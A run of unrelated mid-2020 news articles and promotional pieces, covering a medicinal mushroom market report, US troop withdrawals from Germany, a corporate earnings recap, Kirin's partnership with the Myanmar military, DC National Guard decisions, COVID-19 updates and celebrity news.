May 2019: A retired professor from Madras University was granted a patent to extract anti-cancer compounds from wild mushrooms. According to the professor, Lentinus tuber regium mushroom is edible and is endemic in Asia, Africa, and Australia.

Market Segmentation

Global COVID-19 Impact on Medicinal Mushroom Extract Market is studied for various segments which are based on type, form, function, and region. Based on type, the global medicinal mushroom extract market is segmented into turkey tail, shiitake, cordyceps, reishi, and chaga. Among these segments, the shiitake mushroom is the fastest growing mushroom, followed by reishi. The shiitake mushroom has a rich flavor and texture which acts as a cherry on the cake coupled with its high nutritional value. Shiitake mushroom enables weight loss, supports better cardiovascular health, fights cancer, improves energy levels, and brain function. Apart from that, it also helps in the reduction of inflammation and strengthens immunity. All these factors are contributing to the segments augmentation, enabling the shiitake mushroom segment to be the highest grosser over the forecast period.

Access Full Report Details and Order this Premium Report @ https://www.marketresearchfuture.com/reports/medicinal-mushroom-extract-market-4737

Based on form, the global COVID-19 Impact on Medicinal Mushroom Extract Market is segmented into powder, liquid, and capsules. The capsules segment is anticipated to dominate the market. On the other hand, the liquid and powder segments are likely to ascend at the fastest rate owing to the rapid developments witnessed in the pharmaceutical sector.

On the basis of function, the medicinal mushroom extract market is studied for the segments of immunity enhancer, antioxidants, skin care, and anti-cancer. Among these segments, the antioxidants and immunity enhancer segments are likely to witness a substantial rise in their application over the assessment period. Alternatively, the skin care segment is expected to ascend at a moderate rate in the upcoming years.

Detailed Regional Analysis

Global COVID-19 Impact on Medicinal Mushroom Extract Market is regionally segmented into North America, Europe, Asia Pacific (APAC), and Rest of the World (RoW). Among these, the APAC is projected to spearhead the global medicinal mushroom extract market. China, Japan, and Korea are anticipated to dominate the country-specific markets in the region owing to a rapid rise in the production and consumption of medicinal mushroom extract in the forthcoming years.

Europe is assessed to grow at a significant rate owing to the increasing health consciousness among the population and a rising inclination towards functional food. Furthermore, in North America, the U.S. is expected to dictate the country-specific market in the region. Additionally, due to a high nutritional and medical attributes of medicinal mushroom extracts, the market is predicted to showcase moderate augmentation over the conjectured time period.

Related Covid-19 Analysis on FnB Reports:

https://www.marketresearchfuture.com/report/covid-19-impact-a2-milk-market

https://www.marketresearchfuture.com/report/covid-19-impact-alternative-sweeteners-market

https://www.marketresearchfuture.com/report/covid-19-impact-artisan-bakery-market

https://www.marketresearchfuture.com/report/covid-19-impact-rtd-beverages-market

NOTE: Our Team of Researchers are Studying Covid19 and its Impact on Various Industry Verticals and wherever required we will be considering Covid19 Footprints for Better Analysis of Market and Industries. Cordially get in Touch for More Details.
Official says some of the 9,500 troops would be sent to Poland and other allied countries and some would return home.

President Donald Trump has ordered the United States military to remove nearly 9,500 troops from Germany, a senior US official said on Friday, a move likely to raise concerns in Europe about the US commitment to the region.

The move would reduce US troops numbers in Germany to 25,000 from the 34,500 currently there.

The official, who did not want to be identified, said the move was the result of months of work by top US military officer, General Mark Milley, chairman of the joint chiefs of staff, and had nothing to do with tensions between Trump and German Chancellor Angela Merkel, who thwarted Trumps plan to host a G7 meeting this month.

A second senior administration official said the 9,500 troops would be sent elsewhere, some to Poland, some to other allied countries, while some would return home.

This official said there was less need for the large contingent in Germany due to overall increased defence spending by the US-led NATO military alliance.

The second official said the change was ordered in a memorandum signed recently by Trumps national security adviser, Robert OBrien. The official said the US started working on the plan last September and had just now got the pieces in place.

The move is the latest twist in relations between Berlin and Washington, which have often been strained during Trumps presidency. Trump has pressed Germany to raise defence spending and accused Berlin of being a captive of Russia due to its energy reliance.

There are 34,000 U.S. troops in Germany protecting Germans and Europeans. I can tell you this: @RolandNelles & @SPIEGELONLINE are wrong. Americans dont understand why Germany isnt meeting its NATO obligations & helping the West. And they are growing very annoyed by it. https://t.co/cHH2FaUqkZ  Richard Grenell (@RichardGrenell) August 8, 2019

About 17,000 US civilian employees support US troops in Germany. It is believed the US also has nuclear warheads there.

In May, the then-US ambassador to Germany, Richard Grenell, accused Berlin of undermining NATOs nuclear deterrent, taking aim at Merkels junior coalition partners after some of their leaders called for nuclear disarmament.
CHARLESTON  The second annual Coles County Truck Convoy benefit for Make-A-Wish of Illinois that had been scheduled for June 27 at the Coles County Fairgrounds has been changed to Aug. 8.

Convoy co-organizer Joy Eggers of Mattoon said they pushed back the convoy date, after consulting with the fair board, to comply with the state's public health restrictions for large events during the COVID-19 pandemic.

More than 120 trucks drove from the fairgrounds to downtown Mattoon and back during the 2019, and the fairgrounds hosted food vendors, children's games and other activities for the general public.

"This years event will be very different from last years. There will be no public event, there will only be the convoy portion," Eggers said. "The truck convoy will leave the Coles County Fairgrounds around 10:30 a.m. and follow a similar route as they did last year. "

Eggers said they are still determined to hold the convoy to raise funds for granting life-changing wishes, such as family vacations, for children with critical illnesses and to spotlight the truck drivers who take part in this event. She said truck drivers have shown perseverance during the pandemic, delivering essential products throughout the country.

Some of the lead trucks in the inaugural convoy carried Make-A-Wish children as honored passengers. Eggers said they will not be able to give Make-A-Wish children rides this year due to the children's compromised immune systems putting them at risk to the coronavirus.

"The safety and welfare of the Make-A-Wish kids is our upmost priority. It is our hope that in the future we will be able to celebrate with the public and especially with our Make-A-Wish kids," Eggers said.

Updates about the 2020 convoy will be posted at www.facebook.com/truckconvoy.

Contact Stroud at (217) 238-6861.

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It has been about a month since the last earnings report for Illinois Tool Works (ITW). Shares have added about 12.4% in that time frame, outperforming the S&P 500.

Will the recent positive trend continue leading up to its next earnings release, or is Illinois Tool Works due for a pullback? Before we dive into how investors and analysts have reacted as of late, let's take a quick look at its most recent earnings report in order to get a better handle on the important catalysts.

Illinois Tool Q1 Earnings Beat Estimates, View Weak



Illinois Tool delivered better-than-expected results for first-quarter 2020, with an earnings surprise of 3.5%. This was the seventh consecutive quarter of impressive results.



The industrial tool makers earnings in the reported quarter were $1.77 per share, surpassing the Zacks Consensus Estimate of $1.71. Also, the bottom line decreased 2.2% from the year-ago reported number of $1.81.



Revenue Details



Illinois Tool generated revenues of $3,228 million in the reported quarter, reflecting a decline of 9.1% from the year-ago figure. Top-line results were affected by a 1.5% impact of unfavorable foreign currency movement, 1% from divestitures/acquisitions, and a 6.6% drop in organic sales.



Also, the top line lagged the Zacks Consensus Estimate of $3,334 million by 3.2%.



Illinois Tool reports revenues under the segments discussed below:



Test & Measurement and Electronics revenues in the first quarter decreased 7.5% year over year to $485 million. Revenues from Automotive OEM (Original Equipment Manufacturer) declined 13.7% to $696 million. Food Equipment generated revenues of $483 million, decreasing 6.8% year over year.



Welding revenues were $372 million, declining 12.8% year over year. Construction Products revenues were down 2.6% to $390 million. Further, revenues of $414 million from Specialty Products reflected a decline of 10.9%. Polymers & Fluids revenues of $393 million declined 5.5% year over year.



Margin Profile



In the reported quarter, Illinois Tools cost of sales declined 9.1% year over year to $1,871 million. Selling, administrative, and research and development expenses declined 8.3% year over year to $560 million. It represented 17.4% of the first quarters revenues.



Operating margin was flat at 23.6%. Enterprise initiatives contributed 120 bps to operating margin, while price/costs and others had positive impacts of 20 bps and 10 bps, respectively. However, volume leverage had a negative impact of 150 bps. Interest expenses in the quarter declined 19% year over year to $51 million.



Balance Sheet and Cash Flow



Exiting the first quarter, Illinois Tool had cash and cash equivalents of $1,430 million, down 27.8% from $1,981 million recorded at the end of the last reported quarter. Long-term debt decreased 0.8% sequentially to $7,690 million.



In the first quarter, the company generated net cash of $614 million from operating activities, reflecting a decline of 0.3% from the year-ago quarter. Capital spending on the purchase of plant and equipment was $60 million, down 22.1% year over year. Free cash flow was $554 million, reflecting a year-over-year increase of 2.8%.



In the first quarter, the companys dividend payments amounted to $1.07 per share.



Outlook



In the quarters ahead, Illinois Tool anticipates benefiting from its diversified businesses, solid product offerings and healthy liquidity position (including revolving credit facility, $1.4 billion in cash and cash equivalents, and minimal short-term debt).



Due to uncertainties related to the pandemic, the company has suspended its previously issued 2020 projections. Dividend payments remain a priority, while share buybacks have been halted temporarily.



For the second quarter, the company expects a sales decline of 30-40%, with Automotive OEM declining 60-70% year over year. Operating income will likely be $200-$400 million, while free cash flow will probably exceed $500 million.

Story continues

How Have Estimates Been Moving Since Then?

In the past month, investors have witnessed a downward trend in estimates review. The consensus estimate has shifted -42.99% due to these changes.

VGM Scores

Currently, Illinois Tool Works has a nice Growth Score of B, though it is lagging a lot on the Momentum Score front with a D. Following the exact same course, the stock was allocated a grade of D on the value side, putting it in the bottom 40% for this investment strategy.

Overall, the stock has an aggregate VGM Score of C. If you aren't focused on one strategy, this score is the one you should be interested in.

Outlook

Estimates have been broadly trending downward for the stock, and the magnitude of these revisions indicates a downward shift. It's no surprise Illinois Tool Works has a Zacks Rank #4 (Sell). We expect a below average return from the stock in the next few months.



Want the latest recommendations from Zacks Investment Research? Today, you can download 7 Best Stocks for the Next 30 Days. Click to get this free report



Illinois Tool Works Inc. (ITW) : Free Stock Analysis Report



To read this article on Zacks.com click here.
WASHINGTON, June 4 (Reuters) - Michael White, an American detained in Iran since 2018, has been freed and is on his way back home, his family said in a statement on Thursday.

White, a U.S. navy veteran, had been released from an Iranian prison in mid-March, but was held in Iran under Swiss custody on medical furlough.

Both countries have called for the release of prisoners because of the novel coronavirus outbreak. Iran is the worst-hit country in the Middle East, while the United States has reported the highest number of deaths and infections worldwide from the virus.

(Reporting by Humeyra Pamuk and Jonathan Landay Editing by Chizu Nomiyama)
Ana de Armas appears to quite literally be the poster girl for how to make a good impression on your partner's children.

On Thursday, the 32-year-old actress was pictured laughing and joking with boyfriend Ben Affleck's son Samuel, eight, and daughter Seraphina, 11, as they played around with a life-size cut-out placard of the star.

Ben, 47, who was not present for the jaunt, shares his two children as well as 14-year-old daughter Violet with his ex-wife Jennifer Garner, who is said to be 'happy' the actor has moved on romantically.

Poster girl! Ana De Armas appears to be getting on famously with Ben Affleck's children

Ana - who has starred in major movies such as Knives Out, Blade Runner 2049, and War Dogs - looked to be having the time of her life as she laughed and joked around with Ben's brood.

Dressed in casual denim shorts and a red top, the actress appeared to bonding with the young ones, as Seraphina marched along with a poster of Ana causing much laughter among them all.

They were all spotted together for the first time last month, and it looks as though Ana is already making a lasting impression on his children.

Cut out and keep! Ben Affleck's kids show their love his girlfriend Ana as they play around with a life-size poster of the actress... as daughter Seraphina carried the placard around

Family fun: Ben, 47, who was not present for the jaunt, shares his two children as well as 14-year-old daughter Violet with his ex-wife Jennifer Garner

Hilarious: The kids ended up leaving the big cut out outside the mansion

Meanwhile, ex-wife Jennifer, 48, who he split with after 10 years in June 2015, is said to be 'happy' he is dating again, according to a report last month in UsWeekly.

An insider told the publication: 'Although it's sad in a way to see him move on and be so happy, she is ultimately happy that he is happy and in a good and healthy place with his life.

That's what she ultimately wants for the father of her kids,' they added.

The Hollywood stars have subsequently worked hard to maintain a good relationship with each other for the sake of their children.

The source added that Jennifer is 'always polite and trusts Ben and lets him do what he wants when he's with the kids'.

On your marks: The group appeared to be having a lot of fun out and about in LA

Fun run: Seraphina, Ana and Samuel all raced each other in a quiet LA neighborhood

Staying power: It seems Ben's new gal has won over his kids in more ways than one

Meanwhile, Ana and Ben first connected on the set of the thriller film Deep Water in 2019 where they star as a married couple who have fallen out of love.

They took their relationship public in March when they were seen enjoying a vacation in Costa Rica and Ana's native Cuba.

Earlier this month, a insider claimed that Ana has been wowed by Ben and Jennifer's co-parenting skills.

Embrace: Ana already seems to be very close to Ben's kids

The source said that the Cuban starlet is impressed by how the celebrity duo have managed to balance their acting careers with raising their three children.

The insider explained: '[Ana] thinks Ben is such a sweet and nice guy. [She] admires how he juggles so much between work, his kids and co-parenting with Jen.'

Ben 'splits his time [between Ana and his family] and, as always, the kids are the most important thing in his life'.
Burma Kirin Launches Independent Probes for its Myanmar Military Partnership

A Kirin promotional event. / Kirin Ichiban Myanmar Facebook

YANGONJapanese beverage giant Kirin has hired Deloitte Tohmatsu Financial Advisory to conduct an independent review of a Myanmar military-owned company with which it has multiple partnerships. Kirin faces international condemnation for its partnership as the Myanmar military stands accused of genocide against the Rohingya.

On Friday, Kirin said it has appointed Deloitte to review the financial and governance structures of Myanma Economic Holdings Public Company Limited (MEHL), a conglomerate owned by the Myanmar military. The company said the review will determine the destination of proceeds from joint-venture businesses Myanmar Brewery Limited and Mandalay Brewery Limited as a matter of urgency.

Kirins spokesperson told The Irrawaddy on Friday that apart from reviewing MEHLs financial structure, Kirin is considering structural options for the joint-ventures as part of a review of their business relationship with MEHL.

We aim to complete this review as soon as possible and will provide a further update on our position at the earliest opportunity, said the spokesperson, who asked not to be named.

The United Nations Independent International Fact-finding Mission on Myanmar revealed in a report last August that Kirin holds 51 percent of both Myanmar Brewery and Mandalay Brewery, with MEHL holding the rest. The report said that any foreign business activity involving the Myanmar military and its conglomerates, MEHL and Myanmar Economic Cooperation (MEC), poses a high risk of contributing to or being linked to violations of human rights law and international humanitarian law. The report warned that at a minimum, those foreign companies are supporting the militarys financial capacity.

Kirin announced a strategic review of its operations in Myanmar in February following the allegations of the UN Fact-finding mission report.

The company said that it has made repeated requests to MEHL for proper documentation as the information initially provided was insufficient.

Unfortunately, we have not received further updates or documentation from MEHL on this matter, Kirin said in a press release Friday.

Kirin is exploring alternative structural options for the ownership of the Myanmar joint-ventures as part of a review of the business relationship with MEHL, the company said in the press release. While the COVID-19 pandemic continues to pose further significant challenges to advancing this process swiftly, we are making every effort to address the issue as quickly as possible.

According to Kirin, the company also sought the strategic advice of its International Advisory Board (IAB) regarding the issues. The IAB is a consultative body to the CEO of Kirin Holdings on the groups growth strategies, risk management and corporate governance.

In 2018, Amnesty international also called for Japanese authorities to launch an investigation into Kirins donations to the Myanmar military and authorities. At that time, the military sought to raise money after launching its clearance operations against the Rohingya, which drove around 730,000 Rohingya into neighboring Bangladesh.

According to Amnesty, Kirin said that the payments were intended to help the victims of the violence. But Amnesty found that the first donation was made by Myanmar Brewery staff to the commander-in-chief of Myanmars armed forces, Senior General Min Aung Hlaing, at a televised ceremony in the Naypyitaw in September 2017. Min Aung Hlaing said the donations would go in part towards, security personnel and state service personnel operating in Rakhine State, according to Amnesty.

The UN Fact-finding Mission also recommended that no business enterprise active in Myanmar or trading with or investing in businesses in Myanmar should enter into or remain in a business relationship of any kind with the Tatmadaw [Myanmar military], or any enterprise owned or controlled by them, including subsidiaries, until and unless the Tatmadaw is restructured and transformed as recommended by the Mission.

We appreciate the challenges of operating in frontier markets and are constantly working to deepen our understanding of the many complexities and improve our systems, Kirin said in its press release.

The company said it would take its responsibilities in Myanmar seriously and would take necessary action to ensure its business activities in the region adhere to the highest standards.

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Lord Chris Patten has called for the world to 'reset' their relations with Beijing - Bobby Yip/REUTERS

A senior Chinese diplomat has warned the UK there will be "consequences" if it goes ahead with plans to offer millions of Hongkongers the chance of citizenship.

China's recently voted in a controversial security law for Hong Kong which critics say will strip the territory of its autonomy.

In response, Prime Minister Boris Johnson said that the UK is ready to open the door to almost three million Hong Kong citizens if China presses ahead with the law by effectively upgrading the status of British National (Overseas) passports to grant immigration rights beyond the current six-month limit.

But Chen Wen, Minister and First Staff Member of the Chinese Embassy in the UK, told the BBC that there will be "consequences" if the UK goes ahead with this, although she said it was not a threat.

"Let's wait and see, there will be consequences, that's for sure," she said.

Separately, Lord Chris Patten, the last colonial governor of Hong Kong, called on the UK and like-minded nations to band together to defend against pressure from China and reset global relations with Beijing.

The ruling Chinese Communist Party should not be allowed to get away indefinitely with bullying and hectoring and breaking the rules, Mr Patten said Friday.

It sets a very, very bad historical precedent if you allow the schoolyard bully to bully you one at a time.

Instead, nations should decide together that we dont deal with this nasty regime, he said, denouncing leader Xi Jinping and his mafioso for shrinking freedoms in Hong Kong. But it does mean we have to work together.

Mr Patten also urged the UK to review its policies in trade, investment, education and more and devise a plan to make sure that in these areas China keeps its word, and also try to decide on those areas where weve gone too far in being dependent on China.

Story continues

He has previously called for a United Nations special envoy to be appointed to defend human rights in Hong Kong.

People gather in Hong Kong to the commemorate the 31st anniversary of the Tiananmen Square crackdown, despite an unprecedented ban on doing so - Roy Liu/Bloomberg

Mr Pattens remarks come as representatives from nine parliaments, including the UK, launched an alliance focused specifically to encourage governments to adopt a tougher approach toward China, a move that will likely sour Beijing further against Western nations.

No nation should be able to freely jeopardise global values and human rights, the alliance said in a statement. If our voices are united in this, we will send a much stronger signal.

The alliance also said that Chinas increasingly aggressive foreign policy  meddling in democratic systems, attempting to influence foreign politicians, conducting cyberattacks abroad  has to end before countries could continue building bilateral relations.

The group aims to affect policy involving China in the areas of human rights, trade, security, national integrity, and to uphold a rules-based international order, starting by pushing legislation in their jurisdictions to combat the treatment of ethnic Uighurs, many of whom have been detained in re-education camps in Chinas far western Xinjiang region.

The UKs participation in the alliance comes as Prime Minister Boris Johnson ordered a review of Chinese telecoms giant Huaweis role in building the countrys 5G networks. A wave of other security and undue influence concerns have also been raised over Chinese involvement in key infrastructure projects, such as energy plants, and on university campuses.

Global tensions are rising over China, especially between Washington and Beijing, leading some nations to appeal to the two countries to de-escalate and cooperate.

"It is natural for big powers to compete. But it is their capacity for cooperation that is the true test of statecraft, and it will determine whether humanity makes progress on global problems such as climate change, nuclear proliferation, and the spread of infectious diseases," wrote Singapore prime minister Lee Hsien-Loong in an op-ed published in Foreign Affairs.

The US-China battle will eventually force countries in the Asia Pacific region, already nervous about Beijings territorial ambitions, to pick a side. Nations in the area will always see Chinas naval presence as an attempt to advance those claims in the South China Sea.

The US security presence remains vital to the Asia-Pacific region, and China would be unable to take over that role in Southeast Asia even with its increasing military might, he said, with a candour unlikely to be welcomed in Beijing.

He added that a US withdrawal in North Asia would compel Japan and South Korea to contemplate developing nuclear weapons to counter North Koreas growing threat.
Mohammed Adamu, inspector-general of police (IGP), has ordered a manhunt for the robbers who attacked Isanlu police station in Kogi stat...

Mohammed Adamu, inspector-general of police (IGP), has ordered a manhunt for the robbers who attacked Isanlu police station in Kogi state, killing eight policemen.





On Thursday, nine persons, including eight policemen, were killed in Isanlu when a gang of robbers attacked a bank in the town.





The divisional police officer (DPO) was among the officers killed in the town.





The armed men invaded the police station, setting all the detainees free before killing the officers.





They subsequently moved to the bank where they carted away an undisclosed amount of money.





In a series of tweet on Friday, the Nigeria police force said the IGP has directed a full-scale manhunt for the perpetrators of the attack.





Adamu also deployed a team of detectives from the Intelligence Response Team (IRT), the Special Tactical Squad (STS) and Federal-SARS to the state in order to arrest the perpetrators.





The IGP directed a review of the security arrangement in the state to prevent future incidents.





The Inspector-General of Police, IGP M.A Adamu, NPM, mni has ordered a full-scale manhunt for the perpetrators of the attack on Isanlu Police station and a commercial bank in Yagba East LGA of Kogi State on 4th June, 2020, the tweet read.





The IGP while condemning the incident, has deployed a team of crack detectives from the Intelligence Response Team (IRT), the Special Tactical Squad (STS) and Federal-SARS to Kogi State to ensure that the criminals are apprehended and brought to book.





The IGP has also directed the AIG of Police in charge of the Zone-8 Police Headquarters, Lokoja, AIG Yunana Babas, mni to immediately assess and review the security arrangement in Kogi State & environ so as to prevent any future occurrence of such untoward incident in the State.





The DPO of Isanlu, two policewomen, and four other police officers were killed at the station while another police officer was killed within the banks premises.





The other victim, a male civilian, died when a stray bullet hit him.




Pharmacies locked and boarded up in San Francisco and Oakland following the recent George Floyd protests are slowly beginning to reopen.

CVS Pharmacy and Walgreens stores suffered varying levels of vandalism and looting during the protests.

The closures have made it difficult for customers to pick up already filled prescriptions, in some cases urgently needed by patients.

About a dozen CVS stores in San Francisco and Oakland were still shuttered, but CVS spokeswoman Amy Thibault said the company is reopening them as quickly as we can.

The number of store closures is fluid, Thibault wrote in an email Friday. Were continually monitoring the situation and will close stores, if needed, to ensure the safety of employees and customers.

She said phone systems of closed stores were being rerouted to nearby CVS locations to provide patients with access to care.

But that can cause complications.

For fairly common medications like prednisone, a pharmacy will run out and half fill a prescription, said Alexa, an Oakland woman who has a family member with a potentially life-threatening condition.

If the prescription is half-filled, you can't transfer it to another pharmacy. So, now I have to return to the (farther) away pharmacy to get the remaining medication. This tends to create the opportunity for insurance-related problems, she said.

A clerk at a Walgreens store in downtown San Francisco said the chains stores were open, although some had reduced hours or earlier closing times.

A phone call to Walgreens corporate headquarters was not immediately returned.

MORE COVERAGE ON THE GEORGE FLOYD PROTESTS:

Sign up for 'The Daily' newsletter for the latest on Bay Area protest coverage here.



Mike Moffitt is an SFGATE Digital Reporter. Email: moffitt@sfgate.com. Twitter: @Mike_at_SFGate
WASHINGTON - The Pentagon has told National Guardsmen deployed to the nation's capital not to use firearms or ammunition, and has issued orders to send home active-duty troops that the Trump administration amassed outside the city in recent days, a sign of de-escalation in the federal response to protests in the city.

Defense Secretary Mark Esper made the decision to disarm the guard without consulting the White House, after President Donald Trump ordered a militarized show of force on the streets of Washington to quell demonstrations that were punctured by an episode of looting Sunday, two senior administration officials said. Trump had encouraged the National Guard to be armed.

Initially, a small group of guardsmen deployed in the city had been carrying guns while standing outside monuments, but the bulk of the forces, such as those working with federal park police at Lafayette Square in front of the White House, didn't carry firearms out of caution. Now, all of the roughly 5,000 guardsmen deployed to Washington from the District of Columbia and 11 states have been told not to use weaponry or ammunition.

At a news conference Friday, Army Secretary Ryan McCarthy said that some guardsmen in the District had been carrying arms on Monday, but noted that they did not have magazines of ammunition in their firearms. Beginning Tuesday, the Trump administration de-escalated further, he said, by removing firearms from the equation altogether.

"It was clear that there were enough federal law enforcement that had descended on the city, and that would be their principal responsibility," McCarthy said.

The White House was not involved in the decision to disarm the Guard, the two senior officials said, who like others spoke on the condition of anonymity to discuss internal deliberations. The order from the Pentagon comes as federal and district officials prepare for a crowd of an estimated 100,000 to 200,000 protesters in Washington on Saturday and as the Pentagon looks to dial back the militarization of the response.

Because the District is a special federal jurisdiction without the status of a state, the D.C. National Guard is controlled by the president, who delegated his authority over the forces to McCarthy. The District's mayor can request the deployment of the D.C. Guard but doesn't have the power to deploy guardsmen herself or control them once deployed. Governors control the guard in other states.

A senior U.S. defense official said Esper communicated the order to disarm to the D.C. Guard and other guardsmen earlier in the week through McCarthy and Gen. Joseph Lengyel, the head of the National Guard. The order affected only about 10 guardsmen who had been out on patrol with firearms that weren't loaded but with ammunition in their packs, the senior defense official said.

D.C. Mayor Muriel E. Bowser (D) had requested that the federal government deploy the D.C. Guard, initially to respond to the coronavirus pandemic, but has since criticized the Trump administration's response in the city, which critics have described as an overreaction designed to boost the president politically with Americans outside the nation's capital watching on television.

Trump's response has included not only deploying D.C. guardsmen, as the mayor requested, but also calling up guardsmen from other states, sending active-duty forces to sites outside the capital for possible operations and bringing in other federal law enforcement officials from agencies such as the Bureau of Prisons and Customs and Border Protection to patrol the streets. Bowser has decried the fact that some of those federal agents have not been wearing identifying uniforms or badges.

The situation grew particularly tense after two helicopters from the D.C. Guard began hovering over protesters in the streets, blasting them with gusty rotor wash from the aircraft. All helicopter flight operations in the D.C. Guard have been suspended until an investigation into the incident ordered by Esper is complete, said D.C. Guard spokeswoman Air Force Lt. Col. Brooke Davis.

Trump's insistence on a militarized response in the nation's capital has led to strains with Esper, a West Point graduate and former Army officer who took over as defense secretary last year. Esper announced publicly Wednesday that he wasn't in favor of using the Insurrection Act to deploy active-duty troops, even as the president threatened to invoke it.

Esper also said he was sending home some of the 1,600 active-duty troops amassed outside Washington but later stood down on that decision after a heated meeting with Trump.

On Thursday, the administration said some of those troops would indeed be leaving, and by Friday, McCarthy announced at the Pentagon that all active-duty soldiers would go home to their bases. The last group to leave will be the 3rd U.S. Infantry Regiment, the "Old Guard" that is permanently based just outside Washington at Fort Myer, Va., he said. As of Friday, all had been ordered to return but not all had departed.

Trump has battled with Esper about the military this week, with the president seeing the strong uniformed force in Washington as a deterrent to unrest. The Pentagon, meanwhile, has worried about the militarization of a response that defense officials believe must be led by law enforcement.

A senior administration official with direct knowledge of Trump's thinking said he has been frustrated with Esper this week and has at times considered replacing him, but has been warned against doing so. Trump and his aides were angry at what they viewed as a public repudiation of the president by Esper, who doesn't have a close personal relationship with the president, and a reticence to take aggressive military steps that Trump believed were needed.

It wasn't clear whether the Pentagon was responding to pressure from the D.C. municipal government in its decision to disarm the guardsmen and send active-duty troops home. Bowser has been calling publicly for the guardsmen to be disarmed but has also pushed for disarming them in private conversations with federal officials, according to an official familiar with the matter.

McCarthy said he had been "trying to communicate with the mayor," who had expressed frustration about the size of the military response in D.C. and the little information she had received about it in advance. McCarthy said he has been communicating extensively with the metropolitan police chief, meeting five or six times per day on city street corners.

"We're doing everything possible to tighten the coordination," McCarthy said, acknowledging that effectively commanding the guardsmen and communicating has been "challenging."

"This has been a very, very challenging time for us," he said.

In a letter sent to Trump on Thursday, Bowser informed the president that she had ended the city's state of emergency and requested that he withdraw all extraordinary federal agents and military assets from the nation's capital, explaining that the city was equipped to handle "large demonstrations and First Amendment activities." She expressed particular concern about the federal agents not from the Department of Defense who had been brought into the city.

"I continue to be concerned that unidentified federal personnel patrolling the streets of Washington, D.C. pose both safety and national security risks," the mayor wrote. "The deployment of federal law enforcement personnel and equipment are inflaming demonstrators and adding to the grievances of those who, by and large, are peacefully protesting for change and for reforms to the racist and broken systems that are killing Black Americans."

Bowser posted a copy of the letter on Twitter on Friday and wrote: "I request that @realDonaldTrump withdraw all extraordinary federal law enforcement and military presence from our city."

But federal officials criticized her administration for resisting the presence of the National Guard units from other states.

Shortly after midnight, Sen. Mike Lee (R-Utah) blamed Bowser for pushing the Utah National Guard and others out of D.C. hotels. On Friday afternoon, Trump accused her of "fighting with the National Guard," without elaborating, in his first tweet directly criticizing her by name.

The mayor said she did not object to guardsmen staying in D.C. hotels but opposed their stay at the Marriott Marquis, where city government reserved rooms for coronavirus responders. The Utah Guard said it found a different hotel for its 200 service members.

Bowser underscored the city should not pay for their accommodation. "Those out-of-state troops would be covered either by the Army or their home states, not by D.C. residents," she said.

D.C. Attorney General Karl A. Racine (D) has opened an inquiry into whether the federal government had the legal authority to call National Guard troops from other states into the District.

The mayor has repeatedly said she did not request assistance from other states. But Trump has called up about 3,900 guardsmen from Florida, Idaho, Indiana, Maryland, Missouri, Mississippi, New Jersey, Ohio, South Carolina, Tennessee and Utah to the city, in addition to the roughly 1,200 already activated in the D.C. National Guard. New Jersey's governor said Friday its guardsmen were going home Saturday. The total number of guardsmen is roughly equivalent to the number of U.S. forces currently deployed to Iraq. The district has a population of about 700,000 people.

Military leaders at the Pentagon are aware of the risks of armed guardsmen stepping in to a role traditionally played by police in an American city. In 1970, members of the Ohio National Guard who were called in to help control Vietnam War protests at Kent State University opened fire on demonstrators, killing four students and wounding nine others. The situation prompted outrage nationwide and precipitated a crisis for the American military and its standing with the public.

- - -

The Washington Post's Dan Lamothe and Alex Horton contributed to this report.
Students sanitize at a Primary School on May 26, 2020 in Melbourne, Australia. (Daniel Pockett/Getty Images)

Prep Student Among Latest Victoria Virus Cases

A Victorian prep student has tested positive to COVID-19, forcing the school to close, as community transmission continues in Melbournes inner west and north.

The young student at Newbury Primary School in Craigieburn is among the states three latest cases of COVID-19.

The prep student went to school without symptoms late last week but developed symptoms over the weekend, Chief Health Officer Brett Sutton said on June 5.

The student was tested on Wednesday. The health department became aware of the result on Thursday and the school was shut on Friday for cleaning.

Contact tracing is now being done to identify whether any staff or students are required to self-isolate, and to determine whether further action is required to reduce the risk of infection.

Sutton said the school was notified late last night so some parents may only be finding out today about the closure.

These are community cases. They are almost certainly picked up in the community, they happen to be attending school but this is not a transmission within the school, and the risk of transmission in the school remains very low, Sutton said.

Close contacts of the student will be identified and told to self-isolate.

After similar cases in Keilor Downs, Sutton pinpointed Melbournes inner west and inner north as the latest virus breeding grounds.

The recent cases illustrate there really is ongoing community transmission in Victoria, its at very low levels, he said.

But it does seem to be concentrated to the inner north and inner west of Melbourne. Right from Keilor Downs through to Fawkner, to Craigieburn, this is where in the last couple of weeks weve seen community cases.

These areas of Melbourne appear to be the hotspots at the moment.

He urged anyone in Melbournes inner west to inner north to get tested and isolate if they have symptoms, and reminded people to stay home unless absolutely necessary  including staying away from a planned Black Lives Matter protest in the CBD on Saturday.

Among the states latest cases, the two others were in hotel quarantine.

Victorias total recorded cases sits at 1681.

There are 178 confirmed cases of COVID-19 in the state acquired through unknown transmission.

Seven people with the virus are in hospital, with one in intensive care.

So far, 1586 people have recovered from the virus while 19 people die

Christine McGinn
By PTI

PESHAWAR: Two school teachers have been killed in a roadside bomb blast in Pakistan's restive northwestern province bordering Afghanistan, an official said on Friday.

The two teachers were going on a bike when the bomb exploded near a stream in Damadola area in Bajuar district of Khyber Pakhtunkhwa province.

According to locals, Abdur Rahman, a teacher in a private school, and Ismail, a government school teacher, were killed on the spot.

The police have launched an investigation into the incident, the official said.

No individual or militant group has claimed responsibility for the incident, but Taliban militants often carry out such attacks.

The Pakistan Army launched a massive operation in 2014 to destroy militant bases in North Waziristan and end nearly a decade-long insurgency in the region.
Russell Brand was in Australia earlier this year for his Recovery speaking tour and to film a cameo on Neighbours.

And fans of the long-running Channel 10 soap will soon get to watch the British comedian's special appearance.

He will briefly appear alongside Jarrod 'Toadfish' Rebecchi, played by Ryan Moloney, in an episode that airs in Australia on June 15.

Welcome to Ramsay Street! British comedian Russell Brand will make a special appearance alongside Jarrod 'Toadfish' Rebecchi, played by Ryan Moloney, on Neighbours on June 15

Russell, who is visiting Erinsborough to attend a writers' festival, will have a scene with Toadfish in which he offers the Ramsay Street resident advice.

Neighbours executive producer Jason Herbison told the Herald Sun in March that they'd invited the actor to the set after learning he was a fan of the show.

'As it turned out, we were filming an upcoming storyline that gave an organic reason for him to pass through Ramsay Street and we're not just about his comedic talent - his literary genius plays a huge part,' Herbison said.

Just stopping by! Russell had filmed his cameo appearance while visiting Australia in March

On set: While filming in Melbourne, he took selfies with several cast members, including Tim Robards (right) and April Rose Pengilly (left)

While filming in Melbourne, he took selfies with several cast members, including Tim Robards and April Rose Pengilly.

Russell's cameo on Neighbours comes after Courtney Act's appearance this week to celebrate Pride Month.

The world-renowned drag queen, whose real name is Shane Jenek, featured in a four-episode story arc.

